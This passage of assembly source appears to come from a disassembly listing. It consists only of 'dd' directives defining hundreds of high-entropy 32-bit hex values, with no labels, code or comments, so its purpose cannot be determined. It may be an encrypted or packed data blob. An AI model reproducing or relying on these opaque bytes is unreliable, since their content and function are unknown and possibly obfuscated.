		dd 176BCFECh, 605A448Dh, 45E5C656h, 6C83FC2Eh, 61CBE31Ch
		dd 5201FE1Bh, 0FA67FE40h, 5DC0F00h, 633E7833h, 2DF02801h
		dd 65E7D07h, 82153C6h, 7801A29h, 7A7D6856h, 26389130h
		dd 45F93A79h, 0DF07077Bh, 3F8057C9h, 2365580Ch,	320BEA98h
		dd 74F8A811h, 0F2F78111h, 2F41D42Dh, 0C3367BC7h, 44CC0B60h
		dd 43F05DD9h, 0C4EEC05Ch, 50C04BB2h, 3BE28007h,	0FE1886CEh
		dd 0D2F608CDh, 62C53EE5h, 0EAD0410Bh, 3913C03Ah, 0B1C98258h
		dd 21A72559h, 8AB23FB0h, 6C30FEF5h, 0F1AE60E9h,	0DF5457E6h
		dd 2FE25D72h, 75C9965Eh, 9288EDE0h, 5140F49Dh, 0FA916BDAh
		dd 312B1E6Eh, 6B4787DBh, 0C5027FF7h, 6D30529Fh,	8C8A875h
		dd 0C9AE5812h, 28AA3E96h, 0A4DE902h, 0DA2917D8h, 3B4299BAh
		dd 59001112h, 0FC6B951h, 0A820F7E4h, 0B5332642h, 44C10188h
		dd 2E053C57h, 1FE9FA00h, 5073A227h, 0CB08DB41h,	0C657D7CBh
		dd 19725D18h, 24C3697Dh, 0C21871DDh, 613BD55h, 0B09B786h
		dd 2595243Ah, 1085E9F2h, 9F4DB2BFh, 1644EF56h, 8881FA01h
		dd 0FAA5183Eh, 730C570h, 4C935646h, 4904324Ah, 0FF4AE0B6h
		dd 0C4CCBBD3h, 0D4DFC405h, 0D561AF03h, 0A22F049Ah, 0EB118429h
		dd 0BE4E43B6h, 6942852Bh, 9BC2402Ch, 0BCA435Bh,	0D59DC250h
		dd 50CF2107h, 0C12C9563h, 8705E70Fh, 8D5ADEFh, 0ECF2A807h
		dd 0D4A7E19Eh, 0E73A5A65h, 96E982DEh, 5C145FF8h, 4674584Eh
		dd 0FB1C25FFh, 0D910DDCAh, 0D42832F3h, 0B034468Ah, 0E94B0C32h
		dd 0C167E44Ah, 0B5285C07h, 1FCF012Bh, 5D4F08A8h, 0BE93C1ADh
		dd 90E19FD1h, 0E9BDEB06h, 0AE042B45h, 0C9CE9BE4h, 67755D27h
		dd 59C832CDh, 14F98980h, 0F8BF348Eh, 2F50B014h,	0D4D07843h
		dd 9F97E919h, 1671314Bh, 0A85E75F2h, 10A65593h,	5198AF97h
		dd 0A00A54EAh, 0EC5F6FF9h, 0AE312B44h, 3502B8C1h, 54F3C007h
		dd 0B680C09h, 69ACA620h, 0E2281601h, 0F7478058h, 0BC84D104h
		dd 5E073AE8h, 0D448790Dh, 0E780BF12h, 25343C05h, 0E5FC281Fh
		dd 8DAB2112h, 53A815Bh,	0B174E940h, 4A77AD2Eh, 4816B5E2h
		dd 50A8DCF8h, 4829545Bh, 2A7CAF2Fh, 0BE35BAF2h,	0FC5B0395h
		dd 53E192DCh, 1F413FA2h, 2374376Ah, 9D13BEECh, 0C2C99F3h
		dd 0FBF39609h, 0EEF8AFECh, 0D334C605h, 30B08979h, 8D059753h
		dd 18E8015Ch, 820EA141h, 2B127C64h, 20ADD04Ah, 8931AF02h
		dd 3DA938D6h, 5A9656A0h, 0D445915Eh, 9EE83EA4h,	0BD550685h
		dd 0B2D48BEFh, 94D67751h, 987E755Ah, 0D60A2070h, 0EC8F1775h
		dd 3E2D1C2Fh, 804052C9h, 0F03BFF3h, 0A084966Bh,	84D09F08h
		dd 0C236F99Fh, 68014F7Bh, 9D687021h, 0B938AC4h,	0F564CA29h
		dd 4A408A60h, 93A0C17Bh, 0AC25E5D9h, 0F71062E2h, 646A6E8h
		dd 63AB2AE1h, 0B7BC8B85h, 21B317C4h, 70002FB6h,	0E906666Dh
		dd 0B9B10DDDh, 0C936644Fh, 0A445368Ah, 1279CA2Eh, 2CA831E9h
		dd 889DBB4Bh, 0F87BC335h, 95AFA6F2h, 1B05A275h,	8B4CDD37h
		dd 1EC8585Eh, 6D35493Bh, 3CF8EEF4h, 0EC85E983h,	0F9C5C101h
		dd 29E131ADh, 0DA2EEAF3h, 406DEE94h, 0D95DF743h, 402D89F6h
		dd 4FCC804Fh, 0EC30FBF5h, 4B3047B6h, 1E28AFF4h,	0EDF932E9h
		dd 5F573Ah, 5C2D69E5h, 0AABA0264h, 0E9435A09h, 50AEC088h
		dd 0C867C380h, 0EB604906h, 55B2E9F4h, 8E3080DCh, 0CBEC4A72h
		dd 6D6812D8h, 6051E2ABh, 4E2D655Eh, 0E201951Fh,	6BE645E9h
		dd 0E985D98Ah, 2760BC24h, 0FB657559h, 0F853B612h, 62789DABh
		dd 8DDC10ACh, 0C300405Eh, 34A573D2h, 3EF03148h,	846BC1F9h
		dd 3FA6BACAh, 174BE938h, 8C64399h, 0A3FD2F6h, 0BBAA9202h
		dd 99E16ACh, 7F5C1BE8h,	29211E62h, 3019ED48h, 0E90C6E04h
		dd 77BEFE4Dh, 9EA3B268h, 520FF175h, 0B9606D62h,	882C6944h
		dd 0F92DFD22h, 63F11FAh, 0D80F91B8h, 85385B70h,	6B8EAE3Ah
		dd 437AC85Bh, 0DBF699A8h, 22002AB0h, 8003E4C0h,	27E9CCC4h
		dd 7DC9445Eh, 5ADB7CBAh, 66009DA8h, 50BC72Ch, 142F127Fh
		dd 1C23F054h, 0C0D2F792h, 0AF31A635h, 704EE91Eh, 0FF5F64F8h
		dd 5BC3AF39h, 2A3CAA87h, 58A8BC53h, 95B6D5E9h, 5BD16805h
		dd 722DC761h, 0CA4C8C2Eh, 10991E52h, 1258EF6h, 90E6FE8Fh
		dd 96B912F7h, 1A412F3Dh, 0FAD705C5h, 8240B8B2h,	0A96F1239h
		dd 0F800AA0Dh, 0F25690C2h, 6AC15C89h, 0AAA0BC20h, 5C97591Eh
		dd 8C86C207h, 0BD91D9D7h, 14E7E618h, 1C7C5925h,	4CDE4C59h
		dd 5FE84476h, 0EFF65871h, 0BED6A2C4h, 0EE5B0016h, 7F6203E7h
		dd 0B90BCF90h, 0FA53902Ch, 50088120h, 6620883Bh, 0C730C9FAh
		dd 5EF10A43h, 2D29F4D0h, 25D759CBh, 0B9715CB0h,	8000437Ah
		dd 589507C7h, 0E82809FDh, 0F2C5C62Ch, 58C3983Eh, 0C950E9FDh
		dd 83555A55h, 0A18149F6h, 61DE18EBh, 0B7EFC9Bh,	446B46A8h
		dd 5039FC17h, 3B12FF8Ah, 0F0DDFAF0h, 0D78B007Fh, 88F3C280h
		dd 14E9D417h, 89008AB9h, 0BD2D59CFh, 1D027B6Ch,	9822C905h
		dd 0CD08F52Bh, 11503E07h, 10CF25E9h, 686235D4h,	6BDE55BCh
		dd 0CA16ABC8h, 0B1075DA9h, 0A24DB71Fh, 59758FCBh, 535562D3h
		dd 2533D257h, 0CF706850h
		dd 0D7331A50h, 7D9284Fh, 276F30h, 8144E84Bh, 0D72D9CAh
		dd 864A1C3Bh, 384249E2h, 6B20090Dh, 0A0A13FE7h,	61F7DFBEh
		dd 0BE6854B5h, 572CADDEh, 0B160E4AEh, 2EB96B3Bh, 4121AE92h
		dd 0A77DA561h, 45166A04h, 5463C095h, 2617EF21h,	5C10F529h
		dd 97115908h, 147302F8h, 23D1DFE9h, 45198C00h, 15E68135h
		dd 426F231Dh, 66E0CE8Fh, 2BE5985h, 0A63ABA20h, 0EAD73CE9h
		dd 0E8F05552h, 10C4F45Fh, 2E9039EAh, 0C18428A9h, 40EA128Ah
		dd 9110746h, 0CFEE4F03h, 535F0C0Ch, 12CB1A55h, 0FADE47C0h
		dd 0DFC2BA4Bh, 1A1424AAh, 0B9DF468Bh, 0D578524Ch, 0B11B803h
		dd 8DD14098h, 462DFAh, 0CB6251F5h, 0C0EB092Ch, 38FBF312h
		dd 83796F0Dh, 11D84895h, 0E09D5F47h, 0F1B7890Fh, 5CE96306h
		dd 39ACB60h, 0B7464BE2h, 25680681h, 47278A51h, 0A04EB5A9h
		dd 81624407h, 26B409F6h, 0E05D1C46h, 80B95CD2h,	8013D528h
		dd 12CC7DC5h, 7ED25C0h,	0B2018166h, 3EE280A5h, 0D33DC2FEh
		dd 75FF4875h, 0E9C5BC2Fh, 9CC6908h, 45D05A5Bh, 4227D00h
		dd 91131D2Dh, 0F7809857h, 4853C87Fh, 0A7903505h, 0C0AFB245h
		dd 2EA83E5h, 28FB875Eh,	7AEBD4A3h, 5F890FFCh, 527EF3D0h
		dd 5E27015Dh, 0C3D805FEh, 0E463D953h, 0E72654E1h, 0F5121C2Bh
		dd 0C8C35B64h, 0C0759E55h, 0E9545730h, 0BBBC40CEh, 0C3668782h
		dd 6243D7E7h, 3ECAACCCh, 7F0C255Dh, 3C9856B4h, 0F2ECE541h
		dd 5F111796h, 5E9FBCA9h, 81C4F6F9h, 6E56E5EBh, 0F71D6AB2h
		dd 4FAEC9D8h, 14D7A4E8h, 0DDDF022Dh, 0E0B95F85h, 29305B94h
		dd 342D22D0h, 400F7841h, 0A64FF4E8h, 389E74ECh,	3AEECA27h
		dd 0A20271B0h, 0D105D20Bh, 4035FEE7h, 78EFEA81h, 966EFD3Dh
		dd 0E2391936h, 98F24B2Bh, 3A5F8741h, 8C71BEAh, 0A7DCFAB2h
		dd 0EC205A2Dh, 0DB13188Eh, 0A10B6066h, 0C24EBE34h, 152E2BEh
		dd 28C2C180h, 0DF7159CAh, 0A1C94645h, 0D188BE01h, 14FD51D9h
		dd 98F377DEh, 29DE1F0Bh, 0E579D717h, 0D19DD889h, 21E97903h
		dd 7F1CADBDh, 82E1451Bh, 0D3AA24EAh, 0F0305A25h, 0AB8F2665h
		dd 8EE79CDh, 0AE484BE9h, 0F62AA0CAh, 81B807AFh,	0A2F5648Ah
		dd 0A87AA075h, 9630EC02h, 8D9014Fh, 0BBAD3A08h,	0BEFACD66h
		dd 61FBAF4Eh, 978D05E0h, 4BAAF24Bh, 10835E11h, 0BE841B0Eh
		dd 0AC92ECFDh, 0A24284EFh, 0C88DFE16h, 0ADA4BD43h, 223863AEh
		dd 6C5BF325h, 91BC2717h, 0C8C1907Fh, 0FE0A27FBh, 8317F1FCh
		dd 1FBEB088h, 7FF45BE8h, 237020FDh, 0B2ADB302h,	83DA3074h
		dd 1D22E8B4h, 0C9D7F618h, 68E5D556h, 610432Ch, 709BE03h
		dd 0F7A2649Bh, 566965Dh, 7C70C5BAh, 0EA50807Ah,	33055E4Eh
		dd 0FE1EE90Fh, 420752EAh, 4FEF689Bh, 5725637Bh,	3CD994BAh
		dd 0C0505162h, 82D92291h, 45EDD457h, 67E4EE8Bh,	0A1020BF8h
		dd 1AD04303h, 8BBEE5BDh, 0E5F5A8F1h, 0AC6D44A0h, 327A752Eh
		dd 616E5C97h, 6F44FB68h, 81C22933h, 0E3612A5Ch,	6853026Bh
		dd 4BC4114Bh, 0AF2A9441h, 24995609h, 0BDAB5B00h, 30C69D4Eh
		dd 90C55C9h, 5441191Bh,	0FBA62DFh, 14BDEA08h, 0E29EE90Bh
		dd 1D5BF7F9h, 927CD96Bh, 5E6DEDB9h, 0E33457FCh,	343AF0Fh
		dd 0D9C03D6Ah, 0E0FCE889h, 82995B0h, 0CB4045Eh,	5D104BAFh
		dd 7E95F1C6h, 795409ADh, 908B33D9h, 2B13D786h, 2B8E7BC1h
		dd 13463C41h, 91702A2Ch, 9D020E6Dh, 23C9E979h, 0AD8607C8h
		dd 78C6FD50h, 7A2DC04Ah, 0D814C261h, 55159720h,	5935123Ch
		dd 0C1B3BF29h, 0B587E9C5h, 2F4DD833h, 89EEC500h, 0EB2D59CDh
		dd 6D722C20h, 705140Ah,	9636E95Bh, 140D64B0h, 0C3664669h
		dd 0C5D7FA25h, 9AF1AFEFh, 3F7DF5C0h, 0C746029h,	3B8082D9h
		dd 63218CA0h, 7E38CA31h, 3B2C8AE9h, 974BFB4Eh, 0AF2FF4A1h
		dd 934594FDh, 65FF2524h, 9B4CA798h, 954A70BFh, 0B3E2F5D4h
		dd 53BB0092h, 3E5AB627h, 622303BFh, 0CDE2102h, 5C0CC63Bh
		dd 0BF49139Ah, 2A2CE99Dh, 8FD9AB4Fh, 17BCA66Ah,	0CB253D2h
		dd 71C4D1D6h, 0CDE83BDEh, 6745BED3h, 645F1C33h,	2B855A0Ch
		dd 4728C4C1h, 0C680034Ah, 41F69956h, 0B12EF3C1h, 7F5B6093h
		dd 0B7312F40h, 0C8C6F700h, 1D1E5126h, 5039EE01h, 68125D08h
		dd 0FE317149h, 0CD5520E9h, 0D8AF28EEh, 0F16AB641h, 11A02E88h
		dd 2B783h, 9F15A5Ch, 661F688Bh,	876AA027h, 0BF41D2E0h
		dd 5F29C5F4h, 1F45A84Ch, 546538F4h, 85E3F7Ch, 0C000CA08h
		dd 535107E0h, 33957CB7h, 0D75B3577h, 5E7DFD92h,	0E5C184D1h
		dd 413D8006h, 0A94BC5EEh, 0DFB6FF92h, 6B6E1AA0h, 90B631DCh
		dd 85EE25BFh, 0E2EF0555h, 59C8C5EFh, 0FE543DFEh, 9B9D3A3h
		dd 0E6A3EB85h, 0A7211F85h, 0DAC54A06h, 996E6F2h, 65D7880Ch
		dd 0CF1ABF26h, 91C00A20h, 5881B728h, 0C91DBFF0h, 7384F325h
		dd 0FFB809B5h, 3EB97628h, 0F63D3114h, 471150C9h, 0F00BD248h
		dd 0D9BF0690h, 0CE6B8F63h, 8C262901h, 0A0B7E93Bh, 6E73292Bh
		dd 0E91730F2h, 0FA57C486h, 0EB4A46E8h, 0E916C59Ah, 6B9EB1EFh
		dd 0F3A7A2E8h, 1E0EE30Ch, 0EB685352h, 96F8D957h, 34252A9h
		dd 7F4290B3h, 8FFC01E5h, 82369652h, 5B546F18h, 9F4A7074h
		dd 0BC5D0804h, 87E10DCh, 5C2A5922h, 9920BF33h, 0BF5E4FDFh
		dd 45566631h, 69851C3Dh, 2B31EB1Dh, 0FDC2143Eh,	681E90FBh
		dd 1F3056D6h, 0BF307EB5h, 688CEAD6h, 28581E16h,	27E6C601h
		dd 0FB69A475h, 8040342Dh, 0E549E195h, 7ED6C5D5h, 0CCFE497Ah
		dd 0E101C424h, 16D54520h, 0E9DCD02Ah, 7B2E92EAh, 80944D0h
		dd 69A60F99h, 0D919C269h, 0C2808736h, 5AD002E7h, 0B862C37Dh
		dd 90C3B151h, 28E412BCh, 0A0F904F9h, 0FF050BD2h, 312D4FA0h
		dd 365B3B2Fh, 7409BECh,	839B27E9h, 8372CC7Eh, 385278Bh
		dd 9323F187h, 19D91843h, 0EE1781B2h, 94EF3B7Eh,	343AD4EDh
		dd 92E3BB3Bh, 3B98E9E1h, 0B5514500h, 70EC30B4h,	6DE77D59h
		dd 6B2B8795h, 9D8469BCh, 0C2890782h, 0F2FBD124h, 7C257F1Eh
		dd 8685BACh, 5196394Bh,	0F2FB1484h, 0CCD29F20h,	4CFA1EE4h
		dd 0BB026C5Fh, 0B494875h, 5591D05Dh, 4B3BB305h,	4E0396Ah
		dd 2D1247BDh, 77011387h, 30E47DA3h, 0C59BB12Eh,	35DF4089h
		dd 61F02186h, 0C4054018h, 0F3E9D494h, 2F875590h, 9709445Ch
		dd 0E9E2E0F3h, 25B75616h, 7D082DF6h, 0B66804AAh, 989CBA1Bh
		dd 212E59E7h, 4C1FB397h, 16CC01CAh, 33B92256h, 9CDDE520h
		dd 0CB890964h, 27B8965Dh, 0F5DE5F29h, 0EA9CFB2Dh, 1E720BB7h
		dd 0C8B03C38h, 7126D695h, 210C64DEh, 0C5A14B2h,	0B7B63DC1h
		dd 0E6D9AE60h, 0CE160E6h, 0FD4CE946h, 0F2B77F92h, 66C5952Eh
		dd 0AB454D92h, 80A0525Fh, 2F692703h, 0E9182ED0h, 447DEDBh
		dd 0FDF609EDh, 3904C201h, 0D6F706EEh, 9817E04h,	127A76F4h
		dd 0D3272277h, 0C8570926h, 2B85037h, 4F1E6C5Fh,	0D05EE4E9h
		dd 399B1027h, 0C5B78081h, 0FC88501Ch, 0C012E19Fh, 0D7C200E1h
		dd 0B084F684h, 310EBB26h, 9675286Bh, 2D932705h,	9151C2D3h
		dd 0A16E98B6h, 3FEACD95h, 1C9B9BE0h, 0CADAF180h, 179BC7E1h
		dd 2689ECD0h, 0BB131F18h, 0B806B909h, 830A3DA0h, 0C20D3CF1h
		dd 6BE1D45Dh, 0AEAEAF7h, 1993C4C2h, 0DCDABC97h,	80D5F789h
		dd 0B0B14EF6h, 27E8BDD1h, 3324E9D8h, 838B53AEh,	201EE667h
		dd 5A7E3DF6h, 8A6A4A2Ch, 0CBF45767h, 0BF544E4h,	0D1C2E08h
		dd 405D0F49h, 4E4B4F39h, 0D5017727h, 33798889h,	96A8E9E1h
		dd 0A7FEC79h, 53BF1B48h
		dd 523C97FAh, 5FB9ECB8h, 80A93DE0h, 592FEF20h, 24F040C0h
		dd 571195DBh, 665AF968h, 821B173Fh, 0F4DB30AAh,	147D177Ch
		dd 0F1250427h, 0EDDE27E7h, 80A35A6h, 569E2AA6h,	16F1FA52h
		dd 0E241EE2Bh, 0CB27877Eh, 0D94A2568h, 2E2F9FBh, 0C5A6765Bh
		dd 400ED79h, 0BF7882E1h, 0E77501BBh, 3F37600Fh,	0F26057A1h
		dd 8C014E18h, 3FEB4C50h, 4118C5CCh, 0FBB07BD4h,	13793D43h
		dd 36E6FEB9h, 65B544Fh,	2689BAB9h, 0D3F60740h, 3FE3801Eh
		dd 0F41AF989h, 0D2C56460h, 4C2B2D1h, 549A0275h,	5DF1D5E1h
		dd 1D1E4AC3h, 0D78FEDD3h, 441B862h, 0ADD2C75Bh,	7A33C84h
		dd 2D04484Ch, 8529073Fh, 6801A0A1h, 6B69CB25h, 89058C7Fh
		dd 944CC7F7h, 296A9349h, 13FF744Ch, 0E99D1967h,	27AD2Eh
		dd 157035B8h, 7A6F2D5Dh, 52E0278h, 0D1EA083Eh, 0C1E927E1h
		dd 0C7CC6ED5h, 41C95EFEh, 375A1D16h, 1ECC7C2Bh,	0B45B951h
		dd 0C9806E34h, 50705F68h, 3EBFE20Ch, 14F516Ch, 40DFC9DCh
		dd 0C1E68050h, 0C44A7D54h, 0E42220E9h, 2BBF5706h, 0B55C3B5Ch
		dd 829D9143h, 0EB5CD3F8h, 730BF5EBh, 9C783C72h,	5F7EE227h
		dd 0E38ACF1Eh, 4EDC50DFh, 56C9EA5Dh, 306F972Ah,	0B0A5CDACh
		dd 2A573158h, 0B4EA82E6h, 0E7BF5DD2h, 4FC205A0h, 1CEA744Ah
		dd 5EDCD73h, 0D82BDB06h, 77255CF8h, 6C2CF3C7h, 0F2327409h
		dd 0CD234A96h, 8B77CD62h, 30A566F7h, 9D16EBF0h,	681CF864h
		dd 0DF2711C9h, 8404EBBBh, 240750Dh, 0ED7090EBh,	990A03F2h
		dd 80CD015Ch, 687A0820h, 0BE413A54h, 99D61EA2h,	0C8207B28h
		dd 2C5826B2h, 7F670FD9h, 0FCB2EE13h, 68BB2C96h,	8D9E3872h
		dd 98DFC62h, 0D62767D6h, 715D496Dh, 70E3CCBh, 0BE53D6DFh
		dd 10640616h, 0B338F8E9h, 0EDD2DAD8h, 4384B4D3h, 3CF6A654h
		dd 0DE06123Bh, 104C7220h, 25447B5Ah, 0E1563923h, 16C3E153h
		dd 95193C7Eh, 4D5A0244h, 0C184201Ch, 49FF13F0h,	0AB7DEFE2h
		dd 3F5C73C8h, 2ED6022Dh, 0B6F88AC5h, 0BF6DD40h,	0D207A35h
		dd 45DF6980h, 969DEC46h, 0A90C5AE5h, 75E91C4Bh,	0FC80DCECh
		dd 0F3EC805Bh, 58E22E88h, 0E1ED0977h, 7DFF645Dh, 0F9F780F4h
		dd 4C316816h, 29A971AAh, 4398487Dh, 82FD0CB0h, 0BA82839Ch
		dd 9A56611Ch, 22DCBD02h, 5F98074Bh, 4EE9F241h, 0EEB4C46Fh
		dd 0EC5B6A9Ah, 7CF2842Bh, 0F1500A16h, 2CC44F74h, 4B40EA88h
		dd 753BE4F7h, 8F574C25h, 6CB6BD14h, 12A11684h, 1900BAFh
		dd 91E94855h, 375E97BBh, 4AC8166Eh, 4610109Ch, 4CB95E3Ch
		dd 0A78F0B4Bh, 0BC8E0A2Ah, 0F1099625h, 71B7F0C6h, 3B702D83h
		dd 14398C2Ch, 1FE0BBC4h, 0C931BF53h, 5E83BC02h,	0BB4045ABh
		dd 7638C1Fh, 7C002390h,	514A3540h, 0B53EB7E9h, 59F00564h
		dd 77B411C5h, 0A15D0BBBh, 8C10F91Ah, 0C49FA534h, 0CACE821Bh
		dd 0FED87DBCh, 1C054E5h, 5D335F80h, 0BAF3D871h,	0BD4E6471h
		dd 0BEA6AE4h, 42C21837h, 8B9285Fh, 95BE5813h, 3F1A01EDh
		dd 7B438E7Bh, 8773444h,	0DDBA07h, 52551EBBh, 6C5F4E5h
		dd 0E65F69AAh, 0E7CE2AD1h, 0A068139Ch, 0A07E672Dh, 51467738h
		dd 0A9232AC4h, 7976BE13h, 5719098Ah, 5F000B26h,	60D614B0h
		dd 3C0296CFh, 0FB30CBC3h, 0A3E6F821h, 3AFE0B1Ch, 9308D6F7h
		dd 25A7A8EAh, 453B7C1h,	0E5BBDD12h, 0ACBC6F97h,	4A26CB1h
		dd 0B56EC0BFh, 9BE8FE04h, 0FD5A6625h, 6AB06E45h, 3C524EC3h
		dd 0EE9FF6B6h, 6C603E8h, 0A8CC0FE9h, 80AB962Ah,	1368F53Eh
		dd 168D7053h, 800BC588h, 220E1828h, 5030419h, 0A81A7DE9h
		dd 0D1AAD259h, 17B3111h, 0D7D2C383h, 5D678C2Eh,	902C447Ah
		dd 24057093h, 7CDE292Fh, 5704CBA0h, 71B2ABFDh, 0C61BDD80h
		dd 832C5A31h, 7309B8EAh, 0F5E4D7C1h, 549591B0h,	0E9577889h
		dd 0D580A125h, 40B5B416h, 45F0F17h, 23E94580h, 99E3FAC9h
		dd 8656AE93h, 82A824FBh, 0F1FF7A62h, 0A7DE6F40h, 1A776F09h
		dd 306EC16Fh, 9574F4C0h, 908B628h, 45692188h, 5CF924B5h
		dd 0B51E7D97h, 0D5002C5Ah, 0D786DFF6h, 8CA61FEh, 3C0AEF80h
		dd 4A435CADh, 0E984CAE8h, 0BFAEE038h, 1480B09h,	86AE057Bh
		dd 7215E4FBh, 0E42FDB41h, 817A627h, 0D4104FD1h,	32370097h
		dd 0ACE942AAh, 75CEB527h, 0D4565525h, 45DB5847h, 83619E09h
		dd 458977C1h, 0E21084F7h, 8129B3FBh, 3FEE956h, 6BD9D06Bh
		dd 54BECC0h, 10B22F8h, 0E856FC28h, 0CCB13C13h, 0C8A49A6Ch
		dd 3C4AAEADh, 0FAA516E9h, 5C8D0B70h, 0A12D5C07h, 0A07F874Ah
		dd 4AE34BAEh, 3B0CA898h, 0C22424Eh, 0CBF80995h,	0F07F0915h
		dd 8703487Ah, 0D0B58C20h, 123A4A86h, 7CA3FEB9h,	27E229C9h
		dd 0C2CA4377h, 66A0E813h, 0DE203AB8h, 17C52917h, 504D0B2Ch
		dd 0B598E854h, 0E0D5B32Bh, 13AC93D8h, 0A513FB53h, 26947505h
		dd 0BBF934ABh, 53E33727h, 617E4F79h, 190426Fh, 2C9462Ch
		dd 0A4E5EB6h, 6859C804h, 0D68C7833h, 4E4670B6h,	92008DF0h
		dd 54C79CFEh, 0A2C2E70h, 8EFE9F50h, 9DBDAE78h, 0EFCA5B5Eh
		dd 1B458D02h, 5B78751Fh, 0BB0A55E7h, 2FC61A08h,	720F1142h
		dd 2E197F8Dh, 0ADC357FEh, 0AEB3D70Ah, 52506809h, 11825A59h
		dd 0F50C3920h, 0C1A46782h, 0E43E715Fh, 0BB005620h, 7ECD56C9h
		dd 0BEDE5F87h, 5DBB8B5Eh, 7A16D24Eh, 7AF84E16h,	251EDA10h
		dd 0C917E35Eh, 0E86FABCCh, 0F3E9F1B9h, 0AFB0B53Fh, 7926DCF2h
		dd 0EA133B69h, 55CDD0FBh, 997E8C0Ch, 2A185033h,	0F705B2C0h
		dd 58872089h, 9E6FE22Ah, 798C9C71h, 95EE11BFh, 9689A1DCh
		dd 25634611h, 19C7053Bh, 2D60849Dh, 457C5368h, 5D0B02C9h
		dd 3E12D563h, 37921F60h, 75E2774Ch, 4E2A7C41h, 380715C1h
		dd 0BC80D547h, 7DB35AB5h, 0A2C2E9C6h, 518DF4BDh, 0E95010FEh
		dd 0B7F1BA39h, 686615C0h, 48219527h, 2B7B108h, 55046B2Ch
		dd 10D7C828h, 0B0F301E7h, 45960A6Fh, 0C9F129F5h, 866A9656h
		dd 34EAFE16h, 56308473h, 0A4E637F9h, 68C7D00Dh,	0A29B0ADBh
		dd 0F2013F02h, 0A85673h, 20CA2DEBh, 63166FBDh, 89F85E2Bh
		dd 1F57BB4Ah, 703AEBE9h, 17FE704h, 0C12644Ch, 4E84EB00h
		dd 0A0017EE1h, 0EB90E91Fh, 3ABB286Eh, 39CDE844h, 0A0F2126Fh
		dd 0B238FCD1h, 2D01612Dh, 4C3BF068h, 0B7AA59BDh, 62B65B7Dh
		dd 0ABC8E7E9h, 0D558F758h, 1A2C3313h, 0A485F14Ah, 9641DA8h
		dd 0CA030AA6h, 0F6499F7Ch, 0C9C2D254h, 5397E250h, 98552DD3h
		dd 6BDEE93Dh, 81D5300Fh, 0D38953B6h, 0A5819CF3h, 0B83BE3F0h
		dd 36886CAh, 16579F60h,	77FE9DCBh, 5FAF8751h, 55A5297Ch
		dd 1577E8Bh, 5CA312D1h,	5AF0ED3Ah, 80C461FCh, 5CAC1776h
		dd 0FB9B9D0Bh, 0D29E8275h, 0D3185FCCh, 4B2D5803h, 0BEE3F822h
		dd 68F42D01h, 7D56637Ah, 1DC05F3Fh, 0BD3E39D2h,	20757BAFh
		dd 6350413Fh, 0CB81076Ah, 0F8EE22E8h, 76013607h, 880BDC29h
		dd 1D2C1370h, 6B3D6C00h, 1CF18144h, 0FB4A4876h,	6477C907h
		dd 0E1D19034h, 0BA025241h, 0A102AB9Dh, 1389FA29h, 0E40B65E9h
		dd 0E13A24Eh, 0C44423ADh, 0C317FDFAh, 4BCB558Ah, 0AF59AB3Fh
		dd 9D33526Ch, 61429A5Eh, 62647682h, 0FE00F622h,	1FB353C1h
		dd 9D93077h, 4C77FA25h,	63659F5Eh, 0F52B4983h, 5A84E43h
		dd 9D3F72Bh, 0BDD0F89h,	9CBBC31Eh, 0B07B29B6h, 76F8B551h
		dd 0DA825E9Dh, 98D989F7h, 285D5347h, 20615B55h,	0BA017C87h
		dd 7E721715h, 9743DAF7h, 0E9110D19h, 3124ADCDh,	149B343Dh
		dd 77082C09h, 739085Eh
		dd 5BF78909h, 0BF2F354Eh, 0F3AA6994h, 0D77ACBC6h, 9BBEC7E8h
		dd 1366BD80h, 32C886Bh,	572DF712h, 6EF560C7h, 63609046h
		dd 5962E40Ch, 0AEC0B527h, 0E9FE282Dh, 56C37E4Eh, 3CC08C41h
		dd 5C8B643Fh, 0F2278A31h, 133D3A5Bh, 9644C5D0h,	0A45B5558h
		dd 169C81C4h, 0BC05F073h, 5F86303Ah, 0E909F5B7h, 54790B63h
		dd 0D0B25696h, 5280F91Eh, 0D4B2FA01h, 947702B2h, 271E997Eh
		dd 4F8522CAh, 2C21EDE4h, 74139E32h, 7DE238D7h, 0E1F148E0h
		dd 0C2701E1Fh, 0D25BD335h, 81F7C321h, 7C04CA81h, 39F37880h
		dd 2DC4DA53h, 0A7717509h, 4E087D77h, 927F2D07h,	835C55ECh
		dd 0E66E555Ah, 766AC30Fh, 0D3290EAEh, 7281FAE9h, 7E11D875h
		dd 6A3BA100h, 2BD4B12h,	48C53C20h, 5D5877E9h, 39BD214Ah
		dd 960A4B9Fh, 9F7C4657h, 231291D9h, 0CD64E2AEh,	0D06FB014h
		dd 1867399Ah, 35E9811Dh, 563E8EB9h, 820BDCBEh, 0AB875726h
		dd 0F027482Fh, 95F22D3Ch, 0D4C97D71h, 89792F49h, 0C3571165h
		dd 0AF2B81E1h, 0B721512Ch, 5BC3C4E8h, 1B4B0C14h, 12464897h
		dd 5FB60BACh, 0DC00D74Ch, 810FAE47h, 41D63E7h, 0F78E6CDFh
		dd 0C8EC644h, 1B450284h, 83E91F49h, 0DF19EB7Fh,	465073F1h
		dd 47C0F6D9h, 0D4C7C9Eh, 0F91589E6h, 6548F0A2h,	3A354A32h
		dd 0BCEB2012h, 294DE127h, 0F88716D4h, 4B530712h, 0D3926E1Dh
		dd 3E9A3B08h, 18BEE8ACh, 67E3DBBAh, 51180406h, 9504B43h
		dd 0E41AD268h, 0C0BA8B57h, 0C11FE006h, 215DEFEFh, 45F267F9h
		dd 3DF23B9Fh, 0AFADC9D6h, 6B605B12h, 5D7A61FDh,	166A0E35h
		dd 3793EF74h, 283CF15Fh, 407C286Ah, 0F7CFDE61h,	0B03B4F15h
		dd 0F803EF63h, 892CA87Ah, 7D3BD7F9h, 5EFCAF32h,	0C088E909h
		dd 0E43E2CB1h, 9C9AF298h, 0FD5E1F08h, 5B255AC9h, 6878B256h
		dd 0E11B5CB8h, 0EA8353C9h, 8295D24Ah, 0FF493F96h, 0E191D9D1h
		dd 0AF0FD7A7h, 98561F2h, 0DA8E5762h, 6704DF69h,	8BAE1ED8h
		dd 55966C0Bh, 0F52205C4h, 0D77CB593h, 55A2F342h, 244F03D6h
		dd 0D9D4725Ch, 0F2AA8EC5h, 5AE1D05Ch, 0E95621FEh, 4B1078D1h
		dd 16D99BEEh, 0BE4284BEh, 7F0E1268h, 2F7EDC18h,	1761AE96h
		dd 0DE42330Ch, 27D0546Dh, 0B7F5667Dh, 0D3C58E70h, 820B14CFh
		dd 0E346803Fh, 0CC28A794h, 416A5B12h, 0F8BB5B86h, 940585EBh
		dd 2FF09956h, 8C79145Dh, 0F116E063h, 166DBBA8h,	4ABBF03Eh
